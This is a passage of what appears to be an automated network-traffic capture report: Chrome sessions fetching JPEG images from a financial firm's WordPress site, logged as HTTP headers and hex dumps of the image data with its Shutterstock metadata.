2024-04-11 20:34:58 UTC	1378	IN	Data Raw: d3 7f c3 15 67 af 31 2f 3e 1c 05 36 a1 73 71 bc 08 14 66 7d e9 b5 d9 bc ba d2 e0 d6 ec 42 b9 ef 1b 1b 4d 31 c5 52 f1 3b d3 70 60 3c 15 c7 57 82 9b aa 83 c9 58 db d2 2e 77 9f b4 da 64 e8 c2 7c f0 f8 a9 64 e8 45 fa 9d 19 6f a8 aa 69 dd bd 12 9c c7 36 f4 48 32 55 34 b8 33 de f1 4f 1b af e1 d8 af d2 94 1b 6b c1 5a 1d fc c2 ac 51 ec 84 1f 8f c7 d8 f0 04 f6 05 c8 bf c1 64 d1 da e5 af 68 60 ec 6d 56 bc d2 3b c9 72 57 bb 5c 53 98 db 30 a3 b3 5f 5e cb 3b 3f 13 e8 ae 99 a3 67 58 91 ca 91 7d 2c d8 cf f5 9c be af fe a6 6f f9 7f 75 f5 7f f5 1c 67 fb bf ba d4 fa 6a 37 7e 75 85 b6 27 78 7c 97 1e 17 77 0f 92 e4 60 77 70 58 d8 62 3d df ba d6 fa 2d a7 c7 e6 b5 be 89 3e 6b 5b e8 99 7c 4f c9 6b 7d 1d 38 ef fd 96 b5 92 d0 3c 16 31 4e 3b 82 ff 00 58 7e 45 ca bc 7f 6c af 59 ff Data Ascii: g1/>6sqf}BM1R;p`<WX.wd\|dEoi6H2U43OkZQdh`mV;rW\S0_^;?gX},ougj7~u'x\|w`wpXb=->k[\|Ok}8<1N;X~ElY
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 6a e6 3f 0d e1 df 12 d8 ad f8 4b c5 8c 2f 26 0d 9c 2d de 0f 71 84 82 a2 8d 46 35 55 95 44 92 6e cd e0 cb 29 a1 3e 9c 34 a1 90 a4 c6 a0 16 6a e4 31 5b 02 c7 6b 03 d8 dd b8 d9 24 92 54 86 4f fe 38 ef 89 6c 56 fc 25 e2 c6 17 93 06 ce 15 a5 b0 a0 90 10 b2 72 48 b7 fc ac 74 84 1b d8 b9 0e 3e 91 21 e7 50 9d 95 cb c8 cc cf 00 89 e9 d4 7c 22 90 2b cc fb 05 7b e2 33 5f 2b 6f 98 48 ce e8 79 11 59 bc c0 6c eb 2f e1 9b 7e a2 d6 f0 3d 4c d3 3b 1b 72 e5 9f 01 58 75 3c e0 ad c7 43 f2 d8 e4 da c1 6b bc 1f b8 f7 0c 93 ae 79 07 b5 6a 9f fc d1 df 1a d8 ad 84 98 da 2b c8 b2 5f e3 52 ff 00 d2 91 98 5c af 82 d1 fd ce 42 3e 0b fc 90 01 84 f7 76 4f c9 0f 75 d5 f0 45 47 82 3e 6f 77 91 a2 42 41 0a db ee 26 75 ea 41 38 35 a1 92 2c fc 0f 81 18 11 26 ab 5e 09 6e df 9f bc 6f ba 72 6d Data Ascii: j?K/&-qF5UDn)>4j1[k$TO8lV%rHt>!P\|"+{3_+oHyYl/~=L;rXu<Ckyj+_R\B>vOuEG>owBA&uA85,&^norm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49788	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	624	OUT	GET /wp-content/uploads/2024/04/RMD-2023.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	716	IN	HTTP/1.1 200 OK Connection: close Content-Length: 67933 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "66155079-1095d" last-modified: Tue, 09 Apr 2024 14:28:09 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-ewr18155-EWR, cache-ewr18134-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.818873,VS0,VE256 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: ff d8 ff e1 00 68 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 98 82 02 00 43 00 00 00 1a 00 00 00 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 33 20 5a 6f 6c 61 6b 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 05 45 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 Data Ascii: hExifII*CCopyright (c) 2023 Zolak/Shutterstock. No use without permission.DuckyPEhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 32 38 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 2f 72 64 66 3a 41 6c 74 3e 20 3c 2f 64 63 3a 74 69 74 6c 65 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e ff ed 00 8e 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 56 1c 01 5a 00 03 1b 25 47 1c 02 00 00 02 00 02 1c 02 74 00 42 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 33 20 5a 6f 6c 61 6b 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 38 42 49 4d 04 25 00 00 00 00 00 10 5c ec 53 2f 73 24 3f fa 12 0b 2a 95 be cf 18 3b ff ee 00 0e 41 64 6f 62 65 00 64 Data Ascii: 28573</rdf:li> </rdf:Alt> </dc:title> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Photoshop 3.08BIMVZ%GtBCopyright (c) 2023 Zolak/Shutterstock. No use without permission.8BIM%\S/s$?*;Adobed
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 81 54 78 93 53 9e b8 64 92 55 20 a2 6a d9 64 0f 53 8a 71 6c 20 31 a0 35 3b 47 f7 e0 49 a4 b1 25 04 b6 b9 0a 65 99 c5 53 78 e4 3a 54 29 a3 11 d4 d0 0f 9e 16 9c ae 84 ad 55 44 9a 2d 68 06 75 dd f3 c5 6e 8b 21 85 3e 62 9a eb 97 ea c2 49 91 16 8e 42 c6 0b fb 69 6d 6e 63 49 61 94 10 55 80 20 83 95 08 3e 38 c3 70 70 95 56 0d 62 98 f1 74 34 83 be 3d 93 ee 6e c2 ee 19 7b ff 00 d9 6b e6 e0 79 c4 2c f7 dc 0a 11 f9 7b 95 39 b2 2a b7 94 ab 7e f4 6d 91 e8 41 c7 a5 f9 67 cf 72 b4 e3 6b 56 da 6b e5 9a cd 7f 56 fe ff 00 4a 65 57 b4 ea 6b 05 83 d8 67 1e d7 fd cb 76 9f 72 cf 1f 6a 77 bc 1f f0 2e f7 81 bf 2d 77 c6 df 16 86 ca ea 60 72 36 d3 cb 92 33 11 51 1c 86 bf e5 27 1e eb d3 ba b4 2f c1 39 35 46 be 64 fe 19 7f e3 fe 9e 2b 23 49 76 c3 8b c0 d9 27 b9 31 ba 3f ac cd 18 3b Data Ascii: TxSdU jdSql 15;GI%eSx:T)UD-hun!>bIBimncIaU >8ppVbt4=n{ky,{9*~mAgrkVkVJeWkgvrjw.-w`r63Q'/95Fd+#Iv'1?;
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 75 a7 4f c3 2c f1 43 6a 2e 83 25 54 0b 35 7a d0 1d 4e 2b 94 aa 82 95 04 b1 15 1b 85 68 33 fc 3a e3 1a 72 c7 14 3a 02 bd 08 d0 6b 84 93 e0 32 14 c4 d0 ed a6 e3 a8 ae 58 c7 93 c1 d3 30 a1 0c 09 00 83 e6 ff 00 2e b5 c6 34 a2 da aa 78 ee 18 49 dc 0d 6b 96 5a 78 e2 a6 9e f0 94 34 15 a1 cc 67 f1 ae 23 49 64 41 45 89 34 0c 19 bf 6d 71 5b 6d e1 b4 28 53 66 07 c3 fb 57 15 cd 55 21 a2 05 45 73 20 78 57 09 55 5a 8c 2c 9e b5 ad 6b 51 4c 56 41 54 a1 6a e7 9e a7 e3 8a 95 53 75 08 bd 35 ce ba fe 9e 98 91 74 cc 82 9d 73 6e 95 35 35 cc 62 9b b1 a8 51 6f b9 b6 8e e5 0c 72 a5 6b 95 69 5d 7a e7 8c 4b 89 bc 52 a3 19 3a 1a eb ee a7 b1 5d a9 df d6 93 0e 53 8e 43 74 cb 48 79 38 54 2c ca 7a 02 69 46 1f 06 c6 ff 00 a0 f9 ab 57 d3 24 b9 25 86 e7 97 dc 49 db 8c d6 26 b0 c5 37 dc 1f Data Ascii: uO,Cj.%T5zN+h3:r:k2X0.4xIkZx4g#IdAE4mq[m(SfWU!Es xWUZ,kQLVATjSu5tsn55bQorki]zKR:]SCtHy8T,ziFW$%I&7
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 95 29 44 3a 16 4d 47 40 75 27 14 b6 35 05 b1 cb e9 06 98 a9 bc 32 08 96 fc 48 14 cf e5 8a 24 32 16 ed 4a 91 e3 41 96 28 b9 2c da ee 1e 28 49 27 3a 65 d4 f8 63 1e 59 31 d0 24 9c cd 29 fe 18 47 27 9d 03 41 44 92 09 a6 7d 6b 8c 77 27 47 80 c2 5a 9b 49 63 a7 d5 d2 98 aa 4b e1 ab 08 03 ca b4 a6 a0 f5 d3 f1 f9 62 b5 82 08 92 72 a8 3b 7c 3e 58 aa bb 82 2e 94 c8 fe 1f 80 c2 b8 d3 02 01 52 08 26 bf 01 f1 f8 62 bd cd 84 53 1a fc 6a 35 eb 8a e5 2a a1 d2 16 68 36 e5 5a 56 b5 c5 75 49 20 81 43 4c b5 eb 8a f9 77 04 5b 0a 12 2b 55 5e 98 49 e0 f3 c1 10 51 26 a2 99 f8 ae 2b ac ab 87 a0 22 58 e6 01 3e 53 fa b1 55 c9 51 e7 81 10 a6 a3 28 27 e6 31 5c be 38 62 11 0e a1 96 9b 43 57 55 c6 2b 8e 14 58 8d 53 1d e4 78 0b 2e 42 36 57 84 06 72 7e ad 31 2d 5e 9d b7 f0 8d 5a 9e 2d dc Data Ascii: )D:MG@u'52H$2JA(,(I':ecY1$)G'AD}kw'GZIcKbr;\|>X.R&bSj5*h6ZVuI CLw[+U^IQ&+"X>SUQ('1\8bCWU+XSx.B6Wr~1-^Z-
2024-04-11 20:34:58 UTC	358	IN	Data Raw: 56 b8 35 79 a2 0a 20 e7 95 2b f4 e2 99 36 ab 87 70 40 39 90 40 f3 0d 3c 74 c0 72 ab cb 1f b8 82 5a 95 ae 95 d0 0c 63 ca 89 ee 08 92 3f 1a 74 18 c7 94 71 c3 10 81 e6 af 4c f4 c0 4e 4d 84 5b 00 46 4b 4a e4 01 fe fc 09 24 f2 44 14 36 e9 f8 eb 84 54 21 4a 54 f9 8d 07 4f 9e 22 e2 40 4e 60 eb 5a e7 83 99 00 35 ff 00 0c 02 01 fd da 62 10 59 cf 3f d1 82 41 66 84 d7 f4 e0 90 8e 75 d3 5f 1c 31 00 3f d8 61 d1 00 6a 9f ef c3 10 4b 53 e4 4e a6 9d 3e 03 04 84 73 d7 e3 86 06 d1 7f 86 08 40 27 23 91 cb 4a 61 90 8f 02 39 65 14 f0 cb f1 c3 a4 4d 82 c9 a9 27 c0 d3 e1 87 44 40 9f 13 88 40 1a b4 fd 83 0c 80 03 66 08 a5 47 86 98 88 89 8b c9 45 49 cf 5f 9d 30 48 74 04 b8 cf 22 7e 24 fe 8c b1 f5 c3 99 c1 a4 0e e2 34 ca bd 3a 7e 38 1c d4 c8 34 00 c9 d7 5a 69 fd f8 4f aa 1e 52 85 Data Ascii: V5y +6p@9@<trZc?tqLNM[FKJ$D6T!JTO"@N`Z5bY?Afu_1?ajKSN>s@'#Ja9eM'D@@fGEI_0Ht"~$4:~84ZiOR
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 17 28 9a a6 45 d2 29 58 2a b8 51 24 41 89 90 30 35 cf 4a 6b af 5c 67 2a ec 2a 92 1c f3 b4 8e 94 58 a3 89 81 60 bb 4e bd 06 7d 05 33 18 8d b6 c8 95 11 12 36 a7 a8 17 34 98 86 20 9d cb b8 1c 8d 3e 23 3c b1 23 15 8e e6 46 f2 e0 1d 08 34 64 04 02 0c b4 d0 0e 8c 69 d3 16 52 88 4a 9f 48 aa ca 59 cb 6d cd 56 5c 8d 00 e9 51 d3 0a dd 50 cb 0c 88 97 37 02 01 44 06 46 1b 76 90 3c cc 2b 5a 65 a8 6a eb e3 ae 2b 9c 94 57 11 a1 16 df 02 de f7 72 33 6e 31 b4 69 23 30 14 50 db 58 f8 e9 4a fc 31 43 93 96 ca 22 f5 14 b8 b2 39 9a a8 e0 46 53 7a ff 00 1b 6f 85 73 35 ae 87 2f 96 22 f8 72 44 78 ed 3c 17 df af b9 1f 6c fe de 38 4f cf f7 7d fb f2 fd d7 77 6f 5e dd ec 2e 35 d4 f2 37 95 d1 e5 39 8b 78 8f 57 93 ff 00 68 6c 47 28 a7 48 e3 2f 67 f5 3f 76 6f 62 13 16 b1 c1 76 c8 e1 af Data Ascii: (E)XQ$A05Jk\g*X`N}364 >#<#F4diRJHYmV\QP7DFv<+Zej+Wr3n1i#0PXJ1C"9FSzos5/"rDx<l8O}wo^.579xWhlG(H/g?vobv
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 98 53 2e 9e 38 84 14 e4 1a 28 39 d7 3c 32 20 82 70 c4 00 ff 00 db 0c 88 0b 75 00 eb d3 0c 41 0e 7c 4f e3 f1 f8 60 a0 08 3e 35 a5 7a e1 80 96 00 1e be 1d 30 50 5e 02 49 d7 f1 c3 0a c4 bd 34 23 2a e6 46 2c 89 16 42 89 19 74 a6 18 00 93 a7 c7 04 82 eb 5a d4 d2 99 81 f0 c1 20 0c 72 cb 53 fa 46 08 52 14 69 98 ad 40 19 60 80 df f3 9d 41 25 7c 07 4f 95 71 f5 97 a4 e1 4a 0d 7c 6b 90 cf 01 54 20 92 08 cc 8c f3 18 46 d3 cc 25 09 d3 3c 87 51 ae 43 12 4c 89 03 5c c9 e9 e1 84 a8 41 27 2d 33 ea 3a e1 5b c0 34 05 8e 74 15 f8 7c 30 92 78 e0 32 46 2f cf f1 ec c6 0e 52 d6 23 2d cd 88 3b a0 06 86 58 4e 6e 9f 31 f5 2f c7 e7 8b 34 5a cf d0 de 57 3f 04 b0 92 e1 f9 bb e3 9f 71 74 3e 34 e2 fb 32 04 26 2b 8b 77 9a 07 88 97 4f 34 a8 4d 1a a0 b5 05 74 aa e7 9f cb 1d bd 68 aa 9e 19 Data Ascii: S.8(9<2 puA\|O`>5z0P^I4#*F,BtZ rSFRi@`A%\|OqJ\|kT F%<QCL\A'-3:[4t\|0x2F/R#-;XNn1/4ZW?qt>42&+wO4Mth
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: d2 46 ec 98 69 a6 87 f7 7f ef 8a 24 d7 89 05 93 51 ba bf 0d 3f 6e 2b 6e b8 84 1c aa 19 45 69 90 a7 5c 4e 28 82 d8 8c b3 d7 5c 06 41 75 a1 d3 4c f1 08 09 f8 e9 82 40 4e 99 fe 38 84 15 a7 c8 75 c1 20 ac c5 5a b9 8d 30 c4 12 7f 46 19 10 13 87 44 00 e5 52 7e 43 04 84 77 20 83 51 98 fd 18 64 4a 54 4f c3 f5 e0 81 66 2c f8 8f c0 61 88 c5 93 43 4c ea 73 c3 21 5e 02 0d 48 a7 5e 84 e1 d1 12 16 4f 53 d3 a6 18 2d 00 7f 46 08 18 b3 5a 75 3f 86 18 02 4b 39 06 80 2d 73 26 bf b3 06 81 48 1a 03 4f f2 d7 53 fb 71 03 4c 4d fb a8 ce bd 3e 39 63 ea be 65 b4 e1 85 96 e9 a0 ae 47 15 ca 61 48 fb 77 4a 7d 3d 3a 60 b9 57 66 41 a0 55 a8 d4 e5 9d 30 6b 80 0f 89 ca 9e 14 18 2e 58 50 94 17 96 5d 00 ea 75 c5 4c 62 80 d3 4c fc 0f 86 07 32 58 06 82 d8 86 c8 e6 00 d7 fb f1 5c a4 a5 83 c8 Data Ascii: Fi$Q?n+nEi\N(\AuL@N8u Z0FDR~Cw QdJTOf,aCLs!^H^OS-FZu?K9-s&HOSqLM>9ceGaHwJ}=:`WfAU0k.XP]uLbL2X\
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: ec 0d 5b 32 2a f8 d3 75 6b 50 b9 6b 96 49 65 2f 65 3d e3 73 34 b0 de 8f 7e f6 6e f6 7b fe d7 b0 ba b8 ab 49 24 4a 5b 3c c9 a6 3e 51 f3 2d b5 6b 53 24 b7 9d 05 97 58 a3 d9 3a 8c e8 4e 80 78 78 63 9d 6b 1e 25 c0 37 eb ae 7f 2c 56 c8 0b 54 69 90 f0 c4 78 10 59 cb e6 35 fc 70 08 0e a2 ba 81 83 42 02 6b a7 e8 c1 20 a2 7f 46 09 05 93 97 89 63 82 88 29 b5 ad 7e ae 98 64 41 47 0c 88 09 f1 eb 87 44 01 8e 7e 07 5a e0 80 41 6c b4 af c7 c7 f0 c1 08 92 7f eb 82 22 16 4f 53 86 0a 17 a6 78 20 79 89 3d 6b 50 29 4a 7c 71 62 22 14 72 cb 4c 30 5b 16 70 51 28 d8 24 6a 7c 70 49 41 5d 49 a1 22 a6 9f e3 82 14 85 1a 00 2b d2 b4 38 28 26 fa 82 69 4f 2d 4e 3e a3 8c 9e 47 0e d1 4d d9 69 9f 87 ed c0 e7 0d 0a 07 20 57 41 d4 9c 05 36 97 02 50 a0 72 2a 49 3f 1f fa 60 46 6d 62 1a 1f 6f Data Ascii: [2ukPkIe/e=s4~n{I$J[<>Q-kS$X:Nxxck%7,VTixY5pBk Fc)~dAGD~ZAl"OSx y=kP)J\|qb"rL0[pQ($j\|pIA]I"+8(&iO-N>GMi WA6PrI?`Fmbo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	628	OUT	GET /wp-content/uploads/2024/04/beach-houses.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	716	IN	HTTP/1.1 200 OK Connection: close Content-Length: 157844 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "66154b5c-26894" last-modified: Tue, 09 Apr 2024 14:06:20 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18182-EWR, cache-ewr18132-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.823599,VS0,VE68 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ff d8 ff e1 00 7a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 98 82 02 00 56 00 00 00 1a 00 00 00 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 38 20 53 74 61 63 69 65 53 74 61 75 66 66 53 6d 69 74 68 20 50 68 6f 74 6f 73 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 05 6b 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f Data Ascii: zExifII*VCopyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission.Duckydkhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="ado
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 20 3c 64 63 3a 74 69 74 6c 65 3e 20 3c 72 64 66 3a 41 6c 74 3e 20 3c 72 64 66 3a 6c 69 20 78 6d 6c 3a 6c 61 6e 67 3d 22 78 2d 64 65 66 61 75 6c 74 22 3e 31 31 31 32 31 36 35 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 2f 72 64 66 3a 41 6c 74 3e 20 3c 2f 64 63 3a 74 69 74 6c 65 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e ff ed 00 a2 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 69 1c 01 5a 00 03 1b 25 47 1c 02 00 00 02 00 02 1c 02 74 00 55 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 38 20 53 74 61 63 69 65 53 74 61 75 66 66 53 6d 69 74 68 20 50 68 6f 74 6f 73 2f 53 68 75 74 74 Data Ascii: <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">1112165012</rdf:li> </rdf:Alt> </dc:title> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Photoshop 3.08BIMiZ%GtUCopyright (c) 2018 StacieStauffSmith Photos/Shutt
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ce ed a0 23 89 a9 8d bb dc 51 e4 1e 14 b5 18 fb ea fa 52 00 d7 43 a9 1d bf 1d 09 ee 75 e8 4e de 31 15 2a 67 66 e4 d3 4a 93 8c 3e 75 1d 86 bd b5 3a f6 fc 01 f8 0e a0 ee a0 c1 8e 34 51 b3 79 16 fa 45 1e 9c 4e 41 23 d3 d4 7c 07 f8 13 eb e9 af 43 3d 41 80 db 02 2a 5f db 9e 54 5d 54 7f 8d 2a 6f 0f 5a c8 de f2 8f 7d 76 a5 27 d7 d3 bf a7 c3 a8 9e a8 d1 82 51 1b d3 5c eb 9c 57 db e1 4e 6d 61 8d 23 b9 4a dc 51 ed a1 48 00 0d 47 73 eb dc 0e aa bf aa 92 4b 45 87 11 46 6f 4b 6b 5c 4e 24 9b 73 a5 c8 c3 d1 af f4 e2 ea 49 fc 48 ff 00 12 7f 0e 84 ee a8 ec 09 ef a3 37 a7 b1 79 f0 ca 9c 91 87 b8 b0 13 b1 0d 8f 41 a1 27 4e fa f6 20 6b ea 3a ae fe a4 17 88 5a 29 e9 ea 0b 45 8f c8 52 d6 b0 46 14 75 79 60 95 7a fa 81 a9 f5 d3 53 eb db f0 e8 2e ea ef 03 c2 94 51 d3 a3 3f 52 9f Data Ascii: #QRCuN1gfJ>u:4QyENA#\|C=A_T]T*oZ}v'Q\WNma#JQHGsKEFoKk\N$sIH7yA'N k:Z)ERFuy`zS.Q?R
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 00 46 d3 68 3d eb 43 0c 2b 53 a0 3a 7c 07 c0 9d 3b 76 1f 1d 07 4c e7 af 04 f6 ce a2 18 ec 81 ed fe 14 30 c9 d0 80 9f 5d 3b fa 7f 14 fa fc 3a 4e 7a e1 c6 9c b5 f9 dc 9c e8 5e 22 90 7f 13 ea 0f f9 13 f8 9e 9f 58 d6 08 a4 18 e4 e3 42 0d 9f 43 d8 fa 0d 4f c7 4e ff 00 3f 5e a5 ac 01 86 77 15 14 38 1b 1a 35 2d 9d 07 7d 46 9f 48 ef dc 0f 43 d4 0b d4 ae 74 46 b2 de 22 a3 2a 35 2d ab 4d 46 83 b0 ed ff 00 69 ea 41 cd 16 c4 66 52 9c b4 a2 aa 14 f7 51 88 69 44 0d 3d 09 3a 2b fc 7b ff 00 01 d4 1c 42 1e 04 d2 68 4b 83 6a 3c 37 b4 2b d1 5a 11 d8 fc 7e 67 5f 53 d4 5c 54 a8 a9 04 16 c8 51 88 41 07 4d 83 53 dc 6d f8 fc c0 3d c7 6e 98 a7 75 2b 2d 2b 43 6f 2c 6d 4a 36 0e c4 8f 8f af 7e e3 ba ba 89 28 56 98 12 aa 86 d4 e2 cd 32 17 a3 8e 10 10 0e aa 2a 20 0d 40 f8 0f 53 e9 f0 Data Ascii: Fh=C+S:\|;vL0];:Nz^"XBCON?^w85-}FHCtF"5-MFiAfRQiD=:+{BhKj<7+Z~g_S\TQAMSm=nu+-+Co,mJ6~(V2 @S
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 70 3c ef 4e 37 2f 42 9f 4d 09 77 2e ab b6 a1 1a 0d 0f c1 3a 1f 4e c0 eb e9 fe 3d 0f ed 00 c8 21 34 df 72 e2 12 ea b4 a5 ab 24 6b a8 57 c8 f7 04 76 f5 24 ea 4f a9 ea 32 6d 83 85 cd d2 8a d9 78 90 89 95 2a fd 53 5d 34 24 81 a6 87 e7 fe ed 75 ea b7 db 0c cd 18 4e 10 00 2c 3e 34 0f bf 71 c3 a7 e4 d3 e2 53 d8 7f 9f c7 4e a5 f6 ed 44 bd 4f ce 91 55 a1 05 16 b9 84 6b ea 49 ef a1 f4 d7 e0 47 6e fd 2f 20 5b e3 fc 29 8b dc 6c 73 c6 91 38 f2 54 7b ff 00 bf d3 51 a1 f9 7a 74 56 b1 8d fa 42 54 75 04 c6 92 2d d6 47 73 b0 77 00 11 df 51 eb a9 1a 9e fd 10 02 70 14 de 63 02 0f 72 52 75 3e d9 f8 6e 51 ec 7e 91 fe ed 3b fa 76 3d 20 d7 0b 25 ea 0b 72 b8 76 57 9b 94 a0 0a 5b d3 42 74 3a 7c fe 27 b7 7e dd 31 08 52 9b 53 9d e2 68 43 43 69 07 70 d5 2a d7 e3 a0 d7 f8 13 a6 ba 77 Data Ascii: p<N7/BMw.:N=!4r$kWv$O2mxS]4$uN,>4qSNDOUkIGn/ [)ls8T{QztVBTu-GswQpcrRu>nQ~;v= %rvW[Bt:\|'~1RShCCipw
